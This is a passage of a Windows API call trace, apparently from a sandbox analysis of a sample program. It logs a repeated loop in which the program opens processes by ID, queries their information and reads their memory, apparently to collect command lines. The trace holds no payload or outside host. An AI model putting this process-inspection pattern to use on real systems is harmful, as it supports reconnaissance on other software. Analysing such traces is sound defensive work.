dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.234] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.235] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x48) returned 0x0 [0351.235] CloseHandle (hObject=0x0) returned 0 [0351.235] _ui64tow_s (in: _Value=0x164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="356") returned 0x0 [0351.236] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="356") returned 3 [0351.236] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.236] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.237] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x164) returned 0x0 [0351.237] CloseHandle (hObject=0x0) returned 0 [0351.237] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0351.237] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="452") returned 3 [0351.238] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.238] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.238] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0351.239] CloseHandle (hObject=0x0) returned 0 [0351.239] _ui64tow_s (in: _Value=0x208, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="520") returned 0x0 [0351.239] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="520") returned 3 [0351.283] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.283] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.284] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x208) returned 0x0 [0351.284] CloseHandle (hObject=0x0) returned 0 [0351.284] _ui64tow_s (in: _Value=0x210, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0351.285] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="528") returned 3 [0351.285] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.285] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.285] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0351.286] CloseHandle (hObject=0x0) returned 0 [0351.286] _ui64tow_s (in: _Value=0x24c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="588") returned 0x0 [0351.286] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="588") returned 3 [0351.287] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.287] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.287] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x24c) returned 0xa9c [0351.288] GetLastError () returned 0x0 [0351.288] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.288] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.288] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.288] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581f00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.288] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c00, lpBuffer=0x5ec5a0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.288] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.288] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.288] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.289] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5815b0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.289] malloc (_Size=0x1c) returned 0xecd780 [0351.289] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c42, lpBuffer=0xecd780, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd780*, lpNumberOfBytesRead=0x0) returned 1 [0351.289] free (_Block=0xecd780) [0351.289] CloseHandle (hObject=0xa9c) returned 1 [0351.289] _ui64tow_s (in: _Value=0x264, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="612") returned 0x0 [0351.290] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="612") returned 3 [0351.290] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.290] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.290] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x264) returned 0x0 [0351.291] CloseHandle (hObject=0x0) returned 0 [0351.291] _ui64tow_s (in: _Value=0x26c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="620") returned 0x0 [0351.291] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="620") returned 3 [0351.291] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.291] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.292] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x26c) returned 0xa9c [0351.292] GetLastError () returned 0x0 [0351.292] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.292] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.292] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.292] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403b00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.292] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403758, lpBuffer=0x5ec5a0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.293] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.293] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.293] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.293] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403110, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.293] malloc (_Size=0x3e) returned 0xea7ac0 [0351.293] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403794, lpBuffer=0xea7ac0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea7ac0*, lpNumberOfBytesRead=0x0) returned 1 [0351.294] free (_Block=0xea7ac0) [0351.294] CloseHandle (hObject=0xa9c) returned 1 [0351.294] _ui64tow_s (in: _Value=0x2cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="716") returned 0x0 [0351.295] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="716") returned 3 [0351.295] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.295] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.295] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0xa9c [0351.296] GetLastError () returned 0x0 [0351.296] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.296] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.296] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.296] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf923a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.296] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf92058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.296] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.296] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.297] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.297] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf91a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.297] malloc (_Size=0x26) returned 0xecd420 [0351.297] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf920a0, lpBuffer=0xecd420, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd420*, lpNumberOfBytesRead=0x0) returned 1 [0351.298] free (_Block=0xecd420) [0351.298] CloseHandle (hObject=0xa9c) returned 1 [0351.298] _ui64tow_s (in: _Value=0x2d4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="724") returned 0x0 [0351.298] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="724") returned 3 [0351.298] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.298] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.299] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d4) returned 0xa9c [0351.299] GetLastError () returned 0x0 [0351.299] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.299] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.300] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.300] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae23a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.300] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae2058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.300] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.300] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.300] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.300] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae1a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.301] malloc (_Size=0x26) returned 0xecd1b0 [0351.301] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae20a0, lpBuffer=0xecd1b0, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd1b0*, lpNumberOfBytesRead=0x0) returned 1 [0351.301] free (_Block=0xecd1b0) [0351.302] CloseHandle (hObject=0xa9c) returned 1 [0351.302] _ui64tow_s (in: _Value=0x310, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="784") returned 0x0 [0351.302] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="784") returned 3 [0351.302] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.302] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.303] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x310) returned 0xa9c [0351.303] GetLastError () returned 0x0 [0351.303] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.303] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.303] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.303] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.303] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.304] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.304] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.304] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.305] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.305] malloc (_Size=0x64) returned 0xeb64d0 [0351.305] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb64d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0351.305] free (_Block=0xeb64d0) [0351.305] CloseHandle (hObject=0xa9c) returned 1 [0351.306] _ui64tow_s (in: _Value=0x340, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="832") returned 0x0 [0351.306] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="832") returned 3 [0351.306] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.306] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.307] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x340) returned 0xa9c [0351.307] GetLastError () returned 0x0 [0351.307] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.307] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.307] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.307] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.307] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.308] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.308] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.308] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.308] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.308] malloc (_Size=0x5a) returned 0xeb62a0 [0351.308] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xeb62a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb62a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.309] free (_Block=0xeb62a0) [0351.309] CloseHandle (hObject=0xa9c) returned 1 [0351.309] _ui64tow_s (in: _Value=0x398, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="920") returned 0x0 [0351.309] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="920") returned 3 [0351.309] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.309] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x398) returned 0xa9c [0351.310] GetLastError () returned 0x0 [0351.310] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.310] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.310] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, 